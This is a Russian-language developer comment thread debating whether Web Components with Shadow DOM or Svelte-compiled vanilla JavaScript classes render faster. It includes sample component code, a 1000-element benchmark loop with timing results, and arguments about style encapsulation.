Ведь получается, что у меня на выходе js класс и вызовы DOM API и у вас тоже js класс и вызовы DOM API. И при этом мой код работает быстрее, почему? Ответ очевиден — из-за веб-компонентов, которые вы используете, а я нет.
А то, что с таким-же успехом можно сравнивать рендеринг компонентов со статичным html-шаблоном (или результатом работы любого PHP-шаблонизатора). То, что вы не учитываете инициализацию шаблона с добавлением в него начальных данных, вы просто рендерите готовый html-код.
Блин, уважаемый, ну не будьте вы таким зашоренным. Ну посмотрите хоть о чем пишете то.
Я вам вот тут написал примерный код, который генерит Svelte. Ладно текст не читаете, но код то можете надеюсь?
В каком тут месте рендеринг готового html шаблона в момент компиляции? Именно это по вашему делает document.createElement? Вы уверены, что вообще видели DOM API? Какой еще к черту PHP?
export default class Test {
constructor({ target }) {
const div = document.createElement('div');
/* другие вызовы DOM API */
target.appendChild(div);
}
}
Я вам черным по белому пишу — Svelte на этапе компиляции превращает компоненты в ванильный JS класс, внутри которого делаются прямые вызову к DOM API. Что вам тут непонятного? Какие еще шаблоны, строки, статический html, вот это все вы откуда взяли? Сами придумали?
Более того, Svelte абсолютно реактивный. Это мы сейчас с вами чисто вывод сравнивали, а когда пойдут апдейты в DOM, с веб-компонентами вообще потонешь.
Может вам перечитать ветку сначала, чтобы понять, что тащить сюда Svetle для сравнения, не было никакого смысла? Речь шла о разнице между скоростью нативного парсинга HTML и первичного парсинга в JS-рантайме, реализованного в LitElement. Причем тут Svetle?
Svelte туда я затащил, потому что уже было добавлено сравнение с Preact и мне стало интересно. Не вижу никаких причин, чтобы этого не сделать. Пример ваш собственный, чего вы боитесь то? Раз веб-компоненты такой супер-крутой натив и очень быстрый, то они должны в хлам рвать любой фреймворк, разве нет? Смысл сравнивать чистую реализацию с надстройкой над ней же? Ежу понятно, что любая надстройка, созданная для удобства разработчика, будет налагать издержки на изначальную реализацию. Поэтому это не корректое сравнение в корне. А вот сравнить реализацию с веб-компонентами, без веб-компонетов (Svelte) и с VDOM (Preact), это уже интересно.
Может он поддерживает инкапсуляцию стилей?
Да, поддерживает, без shadow dom и даже там, где его вообще нет.
Может компоненты на Svetle я могу использовать в проекте на React или Angular?
Именно так, на выходе ванильный js без зависимостей. Вот
статья на хабре.
Может он не требует никаких собственных зависимостей и поддерживает нативный синтаксис?
Верно, никаких зависимостей. Чтобы любой компонент Svelte скомпелировать в custom element, нужно всего лишь выставить флаг customElement: true. Поддержка стандарта 100%, вот пруф:
custom-elements-everywhere.com/libraries/svelte/results/results.html
Вы может выберетесь из своих собственных фантазий и взгляните на мир со стороны?
Понятно, вот здесь возникли разночтения. Изначальная идея теста была в том, что мы создаем переиспользуемый веб-компонент (что-то вроде Card из material design) и рендерим их в списке (назовем его CardsList). В случае веб-компонентов Card и CardsList сливаются вместе ради производительности. Либо удобство разработки либо скорость, надо выбрать что-то одно.
В случае Preact/Svelte/другого фреймворка накладные расходы на создание переиспользуемого компонента меньше, поэтому выйдет и удобно, и производительно.
В случае Preact/Svelte/другого фреймворка накладные расходы на создание переиспользуемого компонента меньше, поэтому выйдет и удобно, и производительно.
с чего такой вывод?
# Файл Test.svelte — Ваш аналог TestElement
<div>
<span>{name}</span> <span>{secondName}</span>
</div>
<script>
let name = 'John', secondName = 'Snow';
</script>
<style>
div { display: block; color: red; }
</style>
# Файл main.js — Ваш аналог второго тега script
import Test from './Test.svelte';
const startTime = window.performance.now(),
length = 1000;
for (let i = 0; i < length; i++) {
new Test({ target: document.body });
}
window.requestAnimationFrame(() => {
console.log(`
Elements total: ${length};
Rendering time: ${(window.performance.now() - startTime) / 1000}s
`);
});
Отличия лишь в том, что чтобы поместить компонент Test на страницу я вызываю конструктор компонента, а вы его создаете с помощью createElement. Внутри конструктора делается все тот же target.appendChid()
Ну и что вы думаете? Вот результаты:
# Svelte
Rendering time: 0.12290499999653548s
Rendering time: 0.11193000001367182s
Rendering time: 0.10559000005014241s
Rendering time: 0.12220999994315207s
Rendering time: 0.10138999996706843s
Как и ожидалось стало чуть быстрее, потому что исчез дополнительный компонент App.svelte, но не принципиально, потому что он был слишком мал. Кроме того, размер доставляемого js кода также уменьшился до 2.8Kb.
Так что, спасибо вам за замечание, теперь все еще очевиднее стало.
не подскажете что это такое у вас с расширением *.svelte?
.svelte — это формат Single File Components специфичный для фреймворка SvelteJS, который дает возможность удобно и декларативно описывать переиспользуемые компоненты (включая стили). Примерно такой же подход используется в таких фреймворках как Vue, Ractive, Riot. Даже Angular и React стараются все инкапсулировать в один файл, который удобно переиспользовать в разных проектах.
Как оно в браузер попало? А еще не подскажете, почему этот фреймворк называют «магически изчезающим»?
Особенность фреймворка Svelte в том, что по-факту это компилятор SFC в ванильные классы без зависимостей. В итоге в браузер попадает просто js код.
В данной реализации я не использую веб-компоненты и custom elements. Но Svelte имеет возможность один флагом скомпилировать любой компонент в custom element, но этим почти никто не пользуется в данный момент, по причинам описанным в данной статье.
Вы бы хоть для приличия изучили то, о чем вам другие люди говорят.
боже, это был сарказм. О должен был вам намекнуть почему сравнение некорректно. Но вижу это бесполезно.
боже, это был сарказм.
Сложно понять когда вы серьезно, а когда просто недогоняете о чем пишете.
О должен был вам намекнуть почему сравнение некорректно.
Сравнение более чем корректно, по причинам описанным тут.
Хорошо, давайте тогда забудем о Svelte. Ведь он «исчезает» в рантайме. У меня есть просто js файл компонента (не важно откуда я его взял, написал сам или мне его Svelte сгенерил), который экспортирует JS класс, а внутри делает вызовы в DOM API:
export default class Test {
constructor({ target }) {
const div = document.createElement('div');
/* другие вызовы DOM API */
target.appendChild(div);
}
}
И дальше я его использую так:
for (let i = 0; i < 1000; i++) {
new Test({ target: document.body });
}
Чем это принципиально отличается от вашего класса:
class TestElement extends HTMLElement {
constructor() {
super();
this.name = 'John';
this.secondName = 'Snow';
this.attachShadow({
mode: 'open',
});
this.shadowRoot.innerHTML = `
<style>
:host {
display: block;
color: red;
}
</style>
<span>${this.name}</span> <span>${this.secondName}</span>
`;
}
}
И вашего использования:
for (let i = 0; i < 1000; i++) {
let tEl = document.createElement('test-element');
document.body.appendChild(tEl);
}
Кроме как тем, что вы ипользуете веб-компонента, а я нет?
Итак, как это явно читается в коде, создавая Custom Element, вы расширяете нативный браузерный элемент и создаете для его дальнейшего использования свой отдельный тег. В структуре HTML-дерева, данный тег может иметь собственных родителей и потомков, которые ведут себя так-же, как элементы внутри и снаружи любого другого тега. Все те-же связи класса родитель-потомок и методы DOM API доступны в обычном режиме. На этом этапе, это практически ничем не отличается от вашего примера, кроме, собственно, появления нового типа тегов. Используя такой тег вместо обычного SPAN вы никакой практически разницы в скорости его отрисовки не увидете. На этом сходство кончается. Далее, вы хотите большего, и пытаетесь добавить в свой новый элемент собственные свойства, логику и структуру, независимые от родителей и потомков текущего узла в DOM-дереве. Конечно, вы можете просто усложнить общую структуру документа, добавив все необходимое, и даже автоматизировать этот процесс (как делает Svetle), но в этом случае вы значительно усложняете отношения класса родитель-потомок в рамках структуры компонентов. Это не большая проблема, если вы не планируете особых манипуляций с получившимся DOM-деревом. Но делая что-то более сложное, типа онлайн-редакторов, вы начинаете потихоньку огребать от эффектов увеличившейся сложности. Вы получаете «прозрачную» структуру: взаимно влияющие друг на друга стили и прочие сайд-эффекты с поднятием событий и пр. Теперь вам требуется быть очень внимательным с тем, что ваш компонент наследует сам, и что передает своим потомкам, то есть получаете ту самую «помойку в глобальном скоупе» против которой вы выступали, но уже на разных уровнях абстракций, где ее сложнее контролировать. Ваш компонент не имеет как такового разделения на собственную внутреннюю структуру и то, что он содержит как композиционная абстракция. Чтобы решить эту проблему, придумали Shadow DOM. По сути, это специальный узел, который добавляет в вашу разметку дополнительное измерение, позволяя выделить все необходимое в отдельный загон, оставив родителей и потомков на своих местах. Его добавление, конечно, несет дополнительные издержки, но не особенно превышающие издержки усложнения структуры. Более того, у вас появляется дополнительная возможность влиять на структурирование потомков в виде именованных слотов (вы можете, к прмеру, завернуть ВЕСЬ лейаут типовой страницы в такой тег и пулять его из серверного шаблонизатора как обычный html, содержимое которого будет индексироваться поисковиками как на статической странице). А польза от возможности инкапсулировать стили уже значительная. Поскольку шаблоны компонентов описываются внутри js-строк, вам также становится доступна всякая дополнительная магия, типа CSS-миксинов (которая в нативном виде будет поддерживаться еще неизвестно когда) и выражений, которые гораздо мощнее нативных calc(), attr() и счетчиков. Ну и препроцессоров конечно, поскольку в отличие от них вам доступна реакция на изменения в рантайме. Однако, добавление дополнительной ноды собственных стилей в каждый компонент также несет издержки, и замедляет первичную отрисовку. Фокус тут лишь в том, что оптимизация данного процесса становится доступна на уровне браузерного движка, со всеми его хардкорными возможностями типа кэширования всяческих предикшенов и т. д. Кроме того, при создании шаблона компонентов вовсе не обязательно каждый раз парсить html, можно клонировать ноды из тега template, что является дополнительной возможной оптимизацией (я именно так и делаю). В итоге, мы получаем набор плюсов и минусов, которые взвешиваем и принимаем решение о том юзать нам это все или нет. В моей практике, плюсов на порядок больше, и к тем инструментам декомпозиции, которые я использовал ранее, после веб-компонентов мне не хочется. Если вас больше устраивает Svetle — на здоровье, это хорошая штука.
Попробуйте CSS-переменные. В стилях у вас будут не конкретные значения а переменные, которые можно определить через JS. Вот пример:
https://jsfiddle.net/c6bph70k/ Цвет текста задается динамически, через переменную, обновлять CSS не нужно.
Если интересно, можете еще посмотреть на StyleSheet API. Это что-то вроде DOM API, только для работы со стилями.
Я в последний раз потрачу на это свое время, далее — умываю руки.
Красиво начали, но далее уныло рассказали очевидное. А главное, так и не ответили на вопрос — почему вы считаете что пример на веб-компонентах и на Svelte нельзя сравнивать?
В итоге имеем, что там и там js класс и прямые манипуляции в DOM. Так что делаю вывод, что примеры вполне себе сравнимы и очевидно веб-компоненты почти в 2 раза менее производительны. Печаль
Веб-компоненты в реальном мире